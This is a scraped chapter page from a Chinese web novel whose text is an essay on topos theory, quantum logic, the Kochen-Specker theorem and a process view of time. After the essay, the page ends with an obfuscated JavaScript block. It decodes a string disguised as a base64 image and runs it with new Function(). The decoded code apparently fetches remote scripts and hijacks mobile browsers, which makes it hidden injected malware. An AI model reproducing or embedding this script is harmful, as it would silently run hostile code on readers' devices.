第四百一十七章 格罗滕迪克拓扑斯理论(1 / 2)

数学大帝 蔡泽禹 0 字 2021-03-13

量子理论中认识论问题的核心是物理量值和测量结果两者之间的关系。更确切地说,核心是命题“量A有一个值,且该值是r(其中r是实数)”与命题“假如A的测量被建立,结果将是r”之间的关系。</p>

回想一下经典物理的情形,上述关系是不成问题的。在经典物理中,人们假定在任一时刻每个物理量A将一个实数作为它的值,并且人们能够“理想化地”测量物理量A,即A能得到一个值是在测量之前便确定的。这种方式有时称作为“认识论作本体论的模型(epistemologymodelsontology)”。用数学语言说,量A是态空间Γ的实值函数。对于任何属于Γ的态,任一个量A均可被指派一个“定值”。于是,在某个确定时刻,系统的每一个命题均可确定其真伪。</p>

在量子论中,上述值与测量结果的关系是有问题的。这时,态空间是希尔伯特空间H,物理量A需用自伴算子魦来表示。在1967年,科切恩(S.Kochen)和斯佩克(E.Specker)证明了一条著名的no-go定理,这条定理指出,如果希尔伯特空间的维数大于2,就无法指望所有的量子理论算子能指派一个实数作为它们的值。用数学语言讲就是,希尔伯特空间的所有谱集组成一个非布尔型与非分布的格,对诸如“魦属于Δ”这类命题作出真伪判断并不是一定可行的了。</p>

伯克霍夫(G.Birkhoff)和冯·诺伊曼(J.VonNeumann)早年曾对这类“量子逻辑”问题作过广泛研究。新近,利用拓扑斯作为工具的研究,在某种意义上来讲,是一种反潮流的革命。拓扑斯虽然是非布尔型的,甚至排中律这个形式逻辑的基本规律也不一定成立,但它并不是非分布型的。</p>

在量子引力情形下,认识论问题变得更加尖锐。许多学者认为,经典广义相对论的时空观念,诸如拓扑空间、连续流形、时空几何和微观因果性等都不能应用到量子引力。英国学者艾沙姆(C.J.Isham)指出:“人们应当怀疑量子理论应用到引力的可能性问题,尽管流行的量子引力研究或多或少采用了标准的量子理论研究方式,但存在着某种先验论的危险性。时空的经典想法是不假思索地运用到量子理论中去的,这会导致范畴类型上的差错。当人们试图应用量子理论到量子引力中去时,这些概念是不适合的。”</p>

在传统的物理理论公式中,人们普遍采用实数。这是出于何种缘由呢?表面上看,可能存在三条理由:实数是物理量的值;时空是连续的;概率的值是实数。其实,这些似乎显而易见的理由并不成立。</p>

传统的物理大厦依赖于物理量的值的计算,而这些计算已得到高度发展(如泛函分析和微分几何等数学分支)。但是,传统物理理论的成功只不过证明了连续的“仪器效应”罢了。可用一个例子来说明。长度是一个物理量,如果先验地认为它是连续量的话,那么其他的物理量就可以用实数模型化了。因为对一个物理量的测量,总能约化到在空间中某种类型的仪器指针的值。于是,问题就转到为什么要对时空采用实数模型?或者说,是否有一种公认的理由可以将“仪器效应”分离掉?答案是否定的,并不存在一种先验的理由说明空间是连续的。将时空非连续的可能性反映到物理理论中去,是拓扑斯理论的关键之处。</p>

至于概率为什么应该是实数的问题更值得探讨。概率由测量序列的结果的相对频率(为有理数)决定,实数是相对频率的无限序列的极限引起的。许多学者指出,概率为实数是一种生理学事实的理想化,是一种理性的规范。有时,人们可以认为某种倾向会比另一种倾向大,但是在很多情形下“倾向性”是不可比拟的,后者将导致概率函数的值域是偏序集。</p>

连续时空观的基础是“点”的概念,在拓扑斯理论中,则以场所(locale)来取代点的概念。为此,可以先将点的概念让位于区域(region)的概念。塔斯基(AlfredTarski)早年曾做过“保守”线路的工作,他首先提出区域概念作为第一性,点概念作为第二性的方案。塔斯基先列出了区域的公理,再由区域构造点,并使这些点具有3维欧几里得空间的一些熟知性质。例如,可以把点构造成区域序列的形式,每个区域含在前一个区域之中,并且它们的“宽度”趋于零。但是,利用区域取代点并不一定要采用这种“保守”的线路。非“保守”的线路是用公理定义区域,并彻底替代点的概念。事实上,任何拓扑空间均能构造一个场所,后者是一个推广的布尔代数,它们不必具有排中律,由此提供直觉逻辑的一个自然代数结构。由场所定义的区域理论不是“保守的”——它推广了拓扑空间的概念,允许区域簇不组成点。</p>

拓扑斯理论是范畴的一种特别类型。范畴由对象(object)及射(arrow)组成。一个明显的例子是群范畴,其中对象是群,射f:G1→G2是从G1到G2的群同态。在任何拓扑斯理论中,存在着一个推广的子集簇概念,即给定对象的子对象簇概念,子对象簇是一个场所。从而可以用拓扑斯理论来替代诸如连续流形作为描述时空的数学。</p>

云岗和龙门的石窟之所以价值连城,在于它们似乎凝固了历史,为人们提供了时间停滞的错觉。但是时间并不会真的停顿。一尊雕像看起来每天一样,其实每天都会有点不同。雕像并不是一个永不变化的物体,它是一种过程,一种变化缓慢的过程。在世界上存在的并不是物体和过程这两样东西,而只是相对快和相对慢的过程。</p>

设想人们想要描述一个特定的粒子,比如说电子。在牛顿模式的描述中,人们可以描述在一个特定的瞬间它是什么:它位于空间的何处,它的质量和电荷是多少,等等。这称为是描述粒子的“状态”。在这种描述中是没有时间的。在牛顿世界中,时间是一个可选的部分。一旦人们已经充分地描述某些东西是怎样的,那么人们就“打开”时间开关并且描述它如何变化。为了验证一种理论,人们进行一系列的测量。每一次的测量应该揭示凝固在某一瞬间的粒子状态。一系列测量就如同一系列的相片——凝固的瞬间。</p>

牛顿物理中状态的概念和雕像、相片一样,均有凝固瞬间的错觉。这导致世界是由物体组成的假象。假如这确实是这个世界的运行方式,那么对某事的首要描述将是它的“如何”,而它的变化将是次要的。变化只不过是某事如何的一种变更。但是,相对论和量子理论都表明:这个世界是一个过程史,运动和变化是首要的。除非是在一个非常近似和暂时的意义上,没有东西是“是”。某事是怎样的,或者它的状态是什么,是一种“停滞”的假象。对于某些目的,它可能是有用的。在新物理学中,“过程”比“停滞”更重要更优先,这就要采用新的语汇。事实上,已有一种合适的简洁的语言可用,这就是拓扑斯的语言。</p>

从这个新的观点来看,宇宙由大量事件组成,一个基本事件可被看成是过程的最小部分,是变化的最小单位。但是,不要认为事件是发生在另外的静态物体上的变化。它只是一个变化,如此而已。</p>

事件的宇宙是一个关联的宇宙,它的所有特征都可根据事件之间的关系来描述。两个事件之间可具有的最重要的关系就是因果关系。这与人们听故事时关注的因果关系是相同的。若一个事件A是另一事件B的产生所必需的,则A是B的部分起因。若A没有发生,B就不可能发生。对此可说,事件A是对事件B有贡献的原因。一个事件可能有超过一个有贡献的原因,一个事件也可能对超过一个的未来事件有贡献。</p>

!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();